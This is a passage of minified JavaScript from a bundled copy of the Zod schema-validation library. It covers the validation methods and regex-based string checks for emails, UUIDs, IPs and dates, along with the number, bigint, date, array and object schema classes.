H.data;throw H.error}async safeParseAsync($,W){let H={common:{issues:[],contextualErrorMap:W?.errorMap,async:!0},path:W?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)},G=this._parse({data:$,path:H.path,parent:H}),J=await(_$(G)?G:Promise.resolve(G));return $W(H,J)}refine($,W){let H=(G)=>{if(typeof W==="string"||typeof W>"u")return{message:W};else if(typeof W==="function")return W(G);else return W};return this._refinement((G,J)=>{let Q=$(G),X=()=>J.addIssue({code:_.custom,...H(G)});if(typeof Promise<"u"&&Q instanceof Promise)return Q.then((Y)=>{if(!Y)return X(),!1;else return!0});if(!Q)return X(),!1;else return!0})}refinement($,W){return this._refinement((H,G)=>{if(!$(H))return G.addIssue(typeof W==="function"?W(H,G):W),!1;else return!0})}_refinement($){return new Z({schema:this,typeName:S.ZodEffects,effect:{type:"refinement",refinement:$}})}superRefine($){return this._refinement($)}constructor($){this.spa=this.safeParseAsync,this._def=$,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:(W)=>this["~validate"](W)}}optional(){return y.create(this,this._def)}nullable(){return i.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return x.create(this)}promise(){return Y$.create(this,this._def)}or($){return S$.create([this,$],this._def)}and($){return U$.create(this,$,this._def)}transform($){return new Z({...N(this._def),schema:this,typeName:S.ZodEffects,effect:{type:"transform",transform:$}})}default($){let W=typeof $==="function"?$:()=>$;return new D$({...N(this._def),innerType:this,defaultValue:W,typeName:S.ZodDefault})}brand(){return new g$({typeName:S.ZodBranded,type:this,...N(this._def)})}catch($){let W=typeof $==="function"?$:()=>$;return new V$({...N(this._def),innerType:this,catchValue:W,typeName:S.ZodCatch})}describe($){return new this.constructor({...this._def,description:$})}pipe($){return v$.create(this,$)}readonly(){return K$.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}}var TW=/^c[^\s-]{8,}$/i,xW=/^[0-9a-z]+$/,yW=/^[0-9A-HJKMNP-TV-Z]{26}$/i,mW=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,ZW=/^[a-z0-9_-]{21}$/i,lW=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,cW=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,uW=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,nW="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",c$,dW=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,pW=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,iW=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,sW=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,rW=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,oW=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,HW="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",aW=new RegExp(`^${HW}$`);function JW($){let W="[0-5]\\d";if($.precision)W=`${W}\\.\\d{${$.precision}}`;else if($.precision==null)W=`${W}(\\.\\d+)?`;let H=$.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${W})${H}`}function tW($){return new RegExp(`^${JW($)}$`)}function GW($){let W=`${HW}T${JW($)}`,H=[];if(H.push($.local?"Z?":"Z"),$.offset)H.push("([+-]\\d{2}:?\\d{2})");return W=`${W}(${H.join("|")})`,new RegExp(`^${W}$`)}function eW($,W){if((W==="v4"||!W)&&dW.test($))return!0;if((W==="v6"||!W)&&iW.test($))return!0;return!1}function $3($,W){if(!lW.test($))return!1;try{let[H]=$.split(".");if(!H)return!1;let G=H.replace(/-/g,"+").replace(/_/g,"/").padEnd(H.length+(4-H.length%4)%4,"="),J=JSON.parse(atob(G));if(typeof J!=="object"||J===null)return!1;if("typ"in J&&J?.typ!=="JWT")return!1;if(!J.alg)return!1;if(W&&J.alg!==W)return!1;return!0}catch{return!1}}function W3($,W){if((W==="v4"||!W)&&pW.test($))return!0;if((W==="v6"||!W)&&sW.test($))return!0;return!1}class T extends L{_parse($){if(this._def.coerce)$.data=String($.data);if(this._getType($)!==B.string){let J=this._getOrReturnCtx($);return M(J,{code:_.invalid_type,expected:B.string,received:J.parsedType}),z}let H=new C,G=void 0;for(let J of this._def.checks)if(J.kind==="min"){if($.data.length<J.value)G=this._getOrReturnCtx($,G),M(G,{code:_.too_small,minimum:J.value,type:"string",inclusive:!0,exact:!1,message:J.message}),H.dirty()}else if(J.kind==="max"){if($.data.length>J.value)G=this._getOrReturnCtx($,G),M(G,{code:_.too_big,maximum:J.value,type:"string",inclusive:!0,exact:!1,message:J.message}),H.dirty()}else if(J.kind==="length"){let Q=$.data.length>J.value,X=$.data.length<J.value;if(Q||X){if(G=this._getOrReturnCtx($,G),Q)M(G,{code:_.too_big,maximum:J.value,type:"string",inclusive:!0,exact:!0,message:J.message});else if(X)M(G,{code:_.too_small,minimum:J.value,type:"string",inclusive:!0,exact:!0,message:J.message});H.dirty()}}else if(J.kind==="email"){if(!uW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"email",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="emoji"){if(!c$)c$=new RegExp(nW,"u");if(!c$.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"emoji",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="uuid"){if(!mW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"uuid",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="nanoid"){if(!ZW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"nanoid",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="cuid"){if(!TW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"cuid",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="cuid2"){if(!xW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"cuid2",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="ulid"){if(!yW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"ulid",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="url")try{new URL($.data)}catch{G=this._getOrReturnCtx($,G),M(G,{validation:"url",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="regex"){if(J.regex.lastIndex=0,!J.regex.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"regex",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="trim")$.data=$.data.trim();else if(J.kind==="includes"){if(!$.data.includes(J.value,J.position))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:{includes:J.value,position:J.position},message:J.message}),H.dirty()}else if(J.kind==="toLowerCase")$.data=$.data.toLowerCase();else if(J.kind==="toUpperCase")$.data=$.data.toUpperCase();else if(J.kind==="startsWith"){if(!$.data.startsWith(J.value))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:{startsWith:J.value},message:J.message}),H.dirty()}else if(J.kind==="endsWith"){if(!$.data.endsWith(J.value))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:{endsWith:J.value},message:J.message}),H.dirty()}else if(J.kind==="datetime"){if(!GW(J).test($.data))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:"datetime",message:J.message}),H.dirty()}else if(J.kind==="date"){if(!aW.test($.data))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:"date",message:J.message}),H.dirty()}else if(J.kind==="time"){if(!tW(J).test($.data))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:"time",message:J.message}),H.dirty()}else if(J.kind==="duration"){if(!cW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"duration",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="ip"){if(!eW($.data,J.version))G=this._getOrReturnCtx($,G),M(G,{validation:"ip",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="jwt"){if(!$3($.data,J.alg))G=this._getOrReturnCtx($,G),M(G,{validation:"jwt",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="cidr"){if(!W3($.data,J.version))G=this._getOrReturnCtx($,G),M(G,{validation:"cidr",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="base64"){if(!rW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"base64",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="base64url"){if(!oW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"base64url",code:_.invalid_string,message:J.message}),H.dirty()}else D.assertNever(J);return{status:H.value,value:$.data}}_regex($,W,H){return this.refinement((G)=>$.test(G),{validation:W,code:_.invalid_string,...w.errToObj(H)})}_addCheck($){return new T({...this._def,checks:[...this._def.checks,$]})}email($){return this._addCheck({kind:"email",...w.errToObj($)})}url($){return this._addCheck({kind:"url",...w.errToObj($)})}emoji($){return this._addCheck({kind:"emoji",...w.errToObj($)})}uuid($){return this._addCheck({kind:"uuid",...w.errToObj($)})}nanoid($){return this._addCheck({kind:"nanoid",...w.errToObj($)})}cuid($){return this._addCheck({kind:"cuid",...w.errToObj($)})}cuid2($){return this._addCheck({kind:"cuid2",...w.errToObj($)})}ulid($){return this._addCheck({kind:"ulid",...w.errToObj($)})}base64($){return this._addCheck({kind:"base64",...w.errToObj($)})}base64url($){return this._addCheck({kind:"base64url",...w.errToObj($)})}jwt($){return this._addCheck({kind:"jwt",...w.errToObj($)})}ip($){return this._addCheck({kind:"ip",...w.errToObj($)})}cidr($){return this._addCheck({kind:"cidr",...w.errToObj($)})}datetime($){if(typeof $==="string")return this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:$});return this._addCheck({kind:"datetime",precision:typeof $?.precision>"u"?null:$?.precision,offset:$?.offset??!1,local:$?.local??!1,...w.errToObj($?.message)})}date($){return this._addCheck({kind:"date",message:$})}time($){if(typeof $==="string")return this._addCheck({kind:"time",precision:null,message:$});return this._addCheck({kind:"time",precision:typeof $?.precision>"u"?null:$?.precision,...w.errToObj($?.message)})}duration($){return this._addCheck({kind:"duration",...w.errToObj($)})}regex($,W){return this._addCheck({kind:"regex",regex:$,...w.errToObj(W)})}includes($,W){return this._addCheck({kind:"includes",value:$,position:W?.position,...w.errToObj(W?.message)})}startsWith($,W){return this._addCheck({kind:"startsWith",value:$,...w.errToObj(W)})}endsWith($,W){return this._addCheck({kind:"endsWith",value:$,...w.errToObj(W)})}min($,W){return this._addCheck({kind:"min",value:$,...w.errToObj(W)})}max($,W){return this._addCheck({kind:"max",value:$,...w.errToObj(W)})}length($,W){return this._addCheck({kind:"length",value:$,...w.errToObj(W)})}nonempty($){return this.min(1,w.errToObj($))}trim(){return new T({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new T({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new T({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(($)=>$.kind==="datetime")}get isDate(){return!!this._def.checks.find(($)=>$.kind==="date")}get isTime(){return!!this._def.checks.find(($)=>$.kind==="time")}get isDuration(){return!!this._def.checks.find(($)=>$.kind==="duration")}get isEmail(){return!!this._def.checks.find(($)=>$.kind==="email")}get isURL(){return!!this._def.checks.find(($)=>$.kind==="url")}get isEmoji(){return!!this._def.checks.find(($)=>$.kind==="emoji")}get isUUID(){return!!this._def.checks.find(($)=>$.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(($)=>$.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(($)=>$.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(($)=>$.kind==="cuid2")}get isULID(){return!!this._def.checks.find(($)=>$.kind==="ulid")}get isIP(){return!!this._def.checks.find(($)=>$.kind==="ip")}get isCIDR(){return!!this._def.checks.find(($)=>$.kind==="cidr")}get isBase64(){return!!this._def.checks.find(($)=>$.kind==="base64")}get isBase64url(){return!!this._def.checks.find(($)=>$.kind==="base64url")}get minLength(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxLength(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}}T.create=($)=>{return new T({checks:[],typeName:S.ZodString,coerce:$?.coerce??!1,...N($)})};function H3($,W){let H=($.toString().split(".")[1]||"").length,G=(W.toString().split(".")[1]||"").length,J=H>G?H:G,Q=Number.parseInt($.toFixed(J).replace(".","")),X=Number.parseInt(W.toFixed(J).replace(".",""));return Q%X/10**J}class a extends L{constructor(){super(...arguments);this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse($){if(this._def.coerce)$.data=Number($.data);if(this._getType($)!==B.number){let J=this._getOrReturnCtx($);return M(J,{code:_.invalid_type,expected:B.number,received:J.parsedType}),z}let H=void 0,G=new C;for(let J of this._def.checks)if(J.kind==="int"){if(!D.isInteger($.data))H=this._getOrReturnCtx($,H),M(H,{code:_.invalid_type,expected:"integer",received:"float",message:J.message}),G.dirty()}else if(J.kind==="min"){if(J.inclusive?$.data<J.value:$.data<=J.value)H=this._getOrReturnCtx($,H),M(H,{code:_.too_small,minimum:J.value,type:"number",inclusive:J.inclusive,exact:!1,message:J.message}),G.dirty()}else if(J.kind==="max"){if(J.inclusive?$.data>J.value:$.data>=J.value)H=this._getOrReturnCtx($,H),M(H,{code:_.too_big,maximum:J.value,type:"number",inclusive:J.inclusive,exact:!1,message:J.message}),G.dirty()}else if(J.kind==="multipleOf"){if(H3($.data,J.value)!==0)H=this._getOrReturnCtx($,H),M(H,{code:_.not_multiple_of,multipleOf:J.value,message:J.message}),G.dirty()}else if(J.kind==="finite"){if(!Number.isFinite($.data))H=this._getOrReturnCtx($,H),M(H,{code:_.not_finite,message:J.message}),G.dirty()}else D.assertNever(J);return{status:G.value,value:$.data}}gte($,W){return this.setLimit("min",$,!0,w.toString(W))}gt($,W){return this.setLimit("min",$,!1,w.toString(W))}lte($,W){return this.setLimit("max",$,!0,w.toString(W))}lt($,W){return this.setLimit("max",$,!1,w.toString(W))}setLimit($,W,H,G){return new a({...this._def,checks:[...this._def.checks,{kind:$,value:W,inclusive:H,message:w.toString(G)}]})}_addCheck($){return new a({...this._def,checks:[...this._def.checks,$]})}int($){return this._addCheck({kind:"int",message:w.toString($)})}positive($){return this._addCheck({kind:"min",value:0,inclusive:!1,message:w.toString($)})}negative($){return this._addCheck({kind:"max",value:0,inclusive:!1,message:w.toString($)})}nonpositive($){return this._addCheck({kind:"max",value:0,inclusive:!0,message:w.toString($)})}nonnegative($){return this._addCheck({kind:"min",value:0,inclusive:!0,message:w.toString($)})}multipleOf($,W){return this._addCheck({kind:"multipleOf",value:$,message:w.toString(W)})}finite($){return this._addCheck({kind:"finite",message:w.toString($)})}safe($){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:w.toString($)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:w.toString($)})}get minValue(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxValue(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}get isInt(){return!!this._def.checks.find(($)=>$.kind==="int"||$.kind==="multipleOf"&&D.isInteger($.value))}get isFinite(){let $=null,W=null;for(let H of this._def.checks)if(H.kind==="finite"||H.kind==="int"||H.kind==="multipleOf")return!0;else if(H.kind==="min"){if(W===null||H.value>W)W=H.value}else if(H.kind==="max"){if($===null||H.value<$)$=H.value}return Number.isFinite(W)&&Number.isFinite($)}}a.create=($)=>{return new a({checks:[],typeName:S.ZodNumber,coerce:$?.coerce||!1,...N($)})};class t extends L{constructor(){super(...arguments);this.min=this.gte,this.max=this.lte}_parse($){if(this._def.coerce)try{$.data=BigInt($.data)}catch{return this._getInvalidInput($)}if(this._getType($)!==B.bigint)return this._getInvalidInput($);let H=void 0,G=new C;for(let J of this._def.checks)if(J.kind==="min"){if(J.inclusive?$.data<J.value:$.data<=J.value)H=this._getOrReturnCtx($,H),M(H,{code:_.too_small,type:"bigint",minimum:J.value,inclusive:J.inclusive,message:J.message}),G.dirty()}else if(J.kind==="max"){if(J.inclusive?$.data>J.value:$.data>=J.value)H=this._getOrReturnCtx($,H),M(H,{code:_.too_big,type:"bigint",maximum:J.value,inclusive:J.inclusive,message:J.message}),G.dirty()}else if(J.kind==="multipleOf"){if($.data%J.value!==BigInt(0))H=this._getOrReturnCtx($,H),M(H,{code:_.not_multiple_of,multipleOf:J.value,message:J.message}),G.dirty()}else D.assertNever(J);return{status:G.value,value:$.data}}_getInvalidInput($){let W=this._getOrReturnCtx($);return M(W,{code:_.invalid_type,expected:B.bigint,received:W.parsedType}),z}gte($,W){return this.setLimit("min",$,!0,w.toString(W))}gt($,W){return this.setLimit("min",$,!1,w.toString(W))}lte($,W){return this.setLimit("max",$,!0,w.toString(W))}lt($,W){return this.setLimit("max",$,!1,w.toString(W))}setLimit($,W,H,G){return new t({...this._def,checks:[...this._def.checks,{kind:$,value:W,inclusive:H,message:w.toString(G)}]})}_addCheck($){return new t({...this._def,checks:[...this._def.checks,$]})}positive($){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:w.toString($)})}negative($){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:w.toString($)})}nonpositive($){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:w.toString($)})}nonnegative($){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:w.toString($)})}multipleOf($,W){return this._addCheck({kind:"multipleOf",value:$,message:w.toString(W)})}get minValue(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxValue(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}}t.create=($)=>{return new t({checks:[],typeName:S.ZodBigInt,coerce:$?.coerce??!1,...N($)})};class j$ extends L{_parse($){if(this._def.coerce)$.data=Boolean($.data);if(this._getType($)!==B.boolean){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.boolean,received:H.parsedType}),z}return v($.data)}}j$.create=($)=>{return new j$({typeName:S.ZodBoolean,coerce:$?.coerce||!1,...N($)})};class G$ extends L{_parse($){if(this._def.coerce)$.data=new Date($.data);if(this._getType($)!==B.date){let J=this._getOrReturnCtx($);return M(J,{code:_.invalid_type,expected:B.date,received:J.parsedType}),z}if(Number.isNaN($.data.getTime())){let J=this._getOrReturnCtx($);return M(J,{code:_.invalid_date}),z}let H=new C,G=void 0;for(let J of this._def.checks)if(J.kind==="min"){if($.data.getTime()<J.value)G=this._getOrReturnCtx($,G),M(G,{code:_.too_small,message:J.message,inclusive:!0,exact:!1,minimum:J.value,type:"date"}),H.dirty()}else if(J.kind==="max"){if($.data.getTime()>J.value)G=this._getOrReturnCtx($,G),M(G,{code:_.too_big,message:J.message,inclusive:!0,exact:!1,maximum:J.value,type:"date"}),H.dirty()}else D.assertNever(J);return{status:H.value,value:new Date($.data.getTime())}}_addCheck($){return new G$({...this._def,checks:[...this._def.checks,$]})}min($,W){return this._addCheck({kind:"min",value:$.getTime(),message:w.toString(W)})}max($,W){return this._addCheck({kind:"max",value:$.getTime(),message:w.toString(W)})}get minDate(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $!=null?new Date($):null}get maxDate(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $!=null?new Date($):null}}G$.create=($)=>{return new G$({checks:[],coerce:$?.coerce||!1,typeName:S.ZodDate,...N($)})};class F$ extends L{_parse($){if(this._getType($)!==B.symbol){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.symbol,received:H.parsedType}),z}return v($.data)}}F$.create=($)=>{return new F$({typeName:S.ZodSymbol,...N($)})};class w$ extends L{_parse($){if(this._getType($)!==B.undefined){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.undefined,received:H.parsedType}),z}return v($.data)}}w$.create=($)=>{return new w$({typeName:S.ZodUndefined,...N($)})};class z$ extends L{_parse($){if(this._getType($)!==B.null){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.null,received:H.parsedType}),z}return v($.data)}}z$.create=($)=>{return new z$({typeName:S.ZodNull,...N($)})};class Q$ extends L{constructor(){super(...arguments);this._any=!0}_parse($){return v($.data)}}Q$.create=($)=>{return new Q$({typeName:S.ZodAny,...N($)})};class o extends L{constructor(){super(...arguments);this._unknown=!0}_parse($){return v($.data)}}o.create=($)=>{return new o({typeName:S.ZodUnknown,...N($)})};class u extends L{_parse($){let W=this._getOrReturnCtx($);return M(W,{code:_.invalid_type,expected:B.never,received:W.parsedType}),z}}u.create=($)=>{return new u({typeName:S.ZodNever,...N($)})};class A$ extends L{_parse($){if(this._getType($)!==B.undefined){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.void,received:H.parsedType}),z}return v($.data)}}A$.create=($)=>{return new A$({typeName:S.ZodVoid,...N($)})};class x extends L{_parse($){let{ctx:W,status:H}=this._processInputParams($),G=this._def;if(W.parsedType!==B.array)return M(W,{code:_.invalid_type,expected:B.array,received:W.parsedType}),z;if(G.exactLength!==null){let Q=W.data.length>G.exactLength.value,X=W.data.length<G.exactLength.value;if(Q||X)M(W,{code:Q?_.too_big:_.too_small,minimum:X?G.exactLength.value:void 0,maximum:Q?G.exactLength.value:void 0,type:"array",inclusive:!0,exact:!0,message:G.exactLength.message}),H.dirty()}if(G.minLength!==null){if(W.data.length<G.minLength.value)M(W,{code:_.too_small,minimum:G.minLength.value,type:"array",inclusive:!0,exact:!1,message:G.minLength.message}),H.dirty()}if(G.maxLength!==null){if(W.data.length>G.maxLength.value)M(W,{code:_.too_big,maximum:G.maxLength.value,type:"array",inclusive:!0,exact:!1,message:G.maxLength.message}),H.dirty()}if(W.common.async)return Promise.all([...W.data].map((Q,X)=>{return G.type._parseAsync(new m(W,Q,W.path,X))})).then((Q)=>{return C.mergeArray(H,Q)});let J=[...W.data].map((Q,X)=>{return G.type._parseSync(new m(W,Q,W.path,X))});return C.mergeArray(H,J)}get element(){return this._def.type}min($,W){return new x({...this._def,minLength:{value:$,message:w.toString(W)}})}max($,W){return new x({...this._def,maxLength:{value:$,message:w.toString(W)}})}length($,W){return new x({...this._def,exactLength:{value:$,message:w.toString(W)}})}nonempty($){return this.min(1,$)}}x.create=($,W)=>{return new x({type:$,minLength:null,maxLength:null,exactLength:null,typeName:S.ZodArray,...N(W)})};function B$($){if($ instanceof F){let W={};for(let H in $.shape){let G=$.shape[H];W[H]=y.create(B$(G))}return new F({...$._def,shape:()=>W})}else if($ instanceof x)return new x({...$._def,type:B$($.element)});else if($ instanceof y)return y.create(B$($.unwrap()));else if($ instanceof i)return i.create(B$($.unwrap()));else if($ instanceof n)return n.create($.items.map((W)=>B$(W)));else return $}class F extends L{constructor(){super(...arguments);this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let $=this._def.shape(),W=D.objectKeys($);return this._cached={shape:$,keys:W},this._cached}_parse($){if(this._getType($)!==B.object){let q=this._getOrReturnCtx($);return M(q,{code:_.invalid_type,expected:B.object,received:q.parsedType}),z}let{status:H,ctx:G}=this._processInputParams($),{shape:J,keys:Q}=this._getCached(),X=[];if(!(this._def.catchall instanceof u&&this._def.unknownKeys==="strip")){for(let q in G.data)if(!Q.includes(q))X.push(q)}let Y=[];for(let q of Q){let j=J[q],V=G.data[q];Y.push({key:{status:"valid",value:q},value:j._parse(new m(G,V,G.path,q)),alwaysSet:q in G.data})}if(this._def.catchall instanceof u){let q=this._def.unknownKeys;if(q==="passthrough")for(let j of X)Y.push({key:{status:"valid",value:j},value:{status:"valid",value:G.data[j]}});else if(q==="strict"){if(X.length>0)M(G,{code:_.unrecognized_keys,keys:X}),H.dirty()}else if(q==="strip");else throw Error("Internal ZodObject error: invalid unknownKeys value.")}else{let q=this._def.catchall;for(let j of X){let V=G.data[j];Y.push({key:{status:"valid",value:j},value:q._parse(new m(G,V,G.path,j)),alwaysSet:j in G.data})}}if(G.common.async)return Promise.resolve().then(async()=>{let q=[];for(let j of Y){let V=await j.key,g=await j.value;q.push({key:V,value:g,alwaysSet:j.alwaysSet})}return q}).then((q)=>{return C.mergeObjectSync(H,q)});else return C.mergeObjectSync(H,Y)}get shape(){return this._def.shape()}strict($){return w.errToObj,new F({...this._def,unknownKeys:"strict",...$!==void 0?{errorMap:(W,H)=>{let G=this._def.errorMap?.(W,H).message??H.defaultError;if(W.code==="unrecognized_keys")return{message:w.errToObj($).message??G};return{message:G}}}:{}})}strip(){return new F({...this._def,unknownKeys:"strip"})}passthrough(){return new F({...this._def,unknownKeys:"passthrough"})}extend($){return new F({...this._def,shape:()=>({...this._def.shape(),...$})})}merge($){return new 